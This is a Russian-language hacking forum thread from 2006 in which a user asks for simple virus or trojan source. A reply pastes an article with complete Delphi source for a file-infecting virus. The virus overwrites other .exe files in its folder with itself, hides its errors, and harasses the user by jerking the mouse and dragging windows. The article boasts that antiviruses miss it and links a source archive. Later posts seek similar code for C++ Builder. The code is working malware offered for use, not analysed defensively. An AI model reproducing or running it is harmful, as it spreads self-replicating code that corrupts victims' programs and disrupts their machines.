ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Люди дайте пожалуста исходник самого отстойного вируса
  #1  
Старый 30.09.2006, 21:38
Аватар для OmNiPoTeNcE
OmNiPoTeNcE
Новичок
Регистрация: 27.06.2006
Сообщений: 2
Провел на форуме:
64272

Репутация: 0
Exclamation Люди дайте пожалуста исходник самого отстойного вируса

Дате пожалуста исходник самого отстойного трояна на Дэльфи...оч надо!
 
Ответить с цитированием

  #2  
Старый 30.09.2006, 22:28
Аватар для Utochka
Utochka
Постоянный
Регистрация: 21.12.2005
Сообщений: 620
Провел на форуме:
1867718

Репутация: 268


По умолчанию

вот получите

Код:
Итак, моя новая статья посвящена вирмэйкерству в особо извращенной форме. Посещая множество форумов и сайтов по сетевой безопасности и программированию, я столкнулся с мнением, что написать компактный и хоть сколько-нибудь опасный вирус на дельфи нельзя…

 Что же, я развею этот миф, более того на глазах у изумленной публики создам виря размером 23.40 Кб, который будет полноценно размножаться и мешать работе системы.

 Итак, наши инструменты:

 Борланд Дельфи 7.0 Enterprise Edition 
UPX PE packer  
Прямые руки :) 

 
Для начала определимся, чего мы хотим. А хотим мы создать вирус, для этого надо знать принципы их размножения и поражения жертвы. Вдаваться в терминологию не буду, т.к. за меня это было прекрасно написано в одном из выпусков «Хакер-Спец». Поэтому перейдем к делу. Наша зверушка будет размножаться в пределах одного каталога (кто обладает п.3 из набора инструментов тот доработает этот недочет, нам же нужно сделать тест не расплодив вирь по всему компу) и дописывать себя в начало файла. Сам процесс работы до ужаса банален:

 1. Запускаем вирус.
2. Происходит проверка, на запуск тела вируса или зараженной программы.
3. Если запущенно тело вируса, то переходим к заражению.
4. У нас запущена зараженная прога, ура! Распакуем прогу из хвоста файла, задав ей имя от балды и ждем когда юзверь закончит с ней работать. 
5. Пока юзверь работает мешаем ему как можем.
6. Бедный пользователь ПК сдался, ему надоели глюки и он закрыл прогу, затираем созданный файл (тот, который мы распаковали) и продолжаем инфицировать своих соседей по каталогу.
7. Выходим из программы.

 Вот собственно и все, что мой вирус может, а теперь реализация. Для начала пишем скелет программы:

 program zverofil;
uses sysutils,windows;
const virsize=23040;
var victims:tsearchrec;
f1,f2:file;

 begin
end;

 Вот с чего мы начинаем, к сожалению мне не удалось выкинуть Sysutils , иначе размер бы ужался до 13Кб.  Процедура заражения выглядит вот так:

 procedure infect(victim:string);
var
a:integer;

 Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'bad'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'bad'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2, Buf,virsize, NR);
BlockWrite(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile(pchar('bad'+inttostr(a)))
except
end;
end;

 Except`ы добавлены из соображения секретности, если вирус наткнется на файл, не дающий добро на запись, он тихо и мирно выйдет из процедуры. Иначе пользователя побеспокоит сообщение “File I/O Error” , а нам это ни к чему.

 Далее определяем, есть ли у нас «хвост» или запущенная программа – тело вируса в чистом виде:

 filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
if filesize(f1)>virsize then go;
closefile(f1);
filemode :=2;

 Filemode временно переводит программу в ReadOnly, иначе она не даст нам посчитать размер файла и выдаст ошибку.

 Поиск и заражение жертв реализуется так:

 if FindFirst('*.exe', Faanyfile, victims) = 0 then
repeat
if not ((victims.Name)=extractfilename(paramstr(0))) then begin
if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name);

 end;
until FindNext(victims)<>0 ;

 Такой странный код из за того, что зараженный файл распадается на «зараженный.ехе» и «незараженный.ехе.ехе» на время запуска, чтобы не попытаться заразить только что запущенную программу, которая к тому же ушла в Read Only и  нужно проводить такую проверку. 

 Ну и код выполнения самой зараженной проги будет таким:

 procedure go;
label 10;
var
Buf: array[1..virsize] of byte;
rect:trect;
nr,nw:longint;
begin
////
try
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
filemode :=2;
assignfile(f2,paramstr(0)+'.exe');

 
rewrite(f2,1);
seek(f1,virsize);
seek(f2,0) ;
repeat
filemode :=0;
BlockRead(f1, Buf,virsize, NR);
filemode :=2;
BlockWrite(f2, Buf, NR, NW);
until (NR = 0) or (NW <> NR) ;
closefile(f1);
closefile(f2);

 winexec(pchar(paramstr(0)+ '.exe'), SW_show);
10:

 if not deletefile(pchar(paramstr(0)+'.exe')) then begin ;
setcursorpos(random(800),Random(600));
getwindowrect(GetForeGroundWindow,rect);
setwindowpos(GetForeGroundWindow, HWND_TOPMOST,rect.left+1,rect.top+1, rect.left+45,rect.left+45, SWP_NOSENDCHANGING );
setwindowtext(GetForeGroundWindow, 'Antiviruses SUXX! (c)Zerofill');

 sleep(400);
goto 10;
end;

 except
end;
////
end;

 Прошу обратить внимание на последнюю секцию – глумление над пользователем, который работает с зараженной прогой. Мы просто берем и дергаем мышку, а окно самой нужной программы уезжает влево и вниз. Для извращенцев – можете поменять параметр sleep;

 Вот собственно и все, надеюсь у вас созрели определенные мысли и идеи по прочтению этой статьи. Напоследок скажу, что этот зверь не виден антивирусами несмотря на то, что я еще в июне отсылал его с исходниками в «Лабараторию Касперского», правда в моем исполнении это был уже почтовый червь (52Кб).
http://www.xakep.ru/post/23374/virus_source.rar
 
Ответить с цитированием

  #3  
Старый 30.09.2006, 22:41
Аватар для Ch3ck
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

Вот тут, может, чего интересное найдёшь:
_http://www.realcoding.net/article/rubric/Delphi/DELPHI_hack
 
Ответить с цитированием

  #4  
Старый 04.10.2006, 15:48
Аватар для BlackDog
BlackDog
Познающий
Регистрация: 05.07.2006
Сообщений: 93
Провел на форуме:
260548

Репутация: 18
Отправить сообщение для BlackDog с помощью ICQ
По умолчанию

Мне бы такую-же статью на C++ builder... Эх... Может поможет кто-нить?
 
Ответить с цитированием

  #5  
Старый 04.10.2006, 19:24
Аватар для WEB'er
WEB'er
Новичок
Регистрация: 26.06.2006
Сообщений: 21
Провел на форуме:
236693

Репутация: 5
По умолчанию

BlackDog
В журнале "хакер" давным давно была такая статья ... Либо конец 2003 либо начало 2004 года .. не помню .. Подними архив =)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Люди добрые прошу помоч... -=ESKIMO=- АнтиАдмин 7 12.01.2005 18:59



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ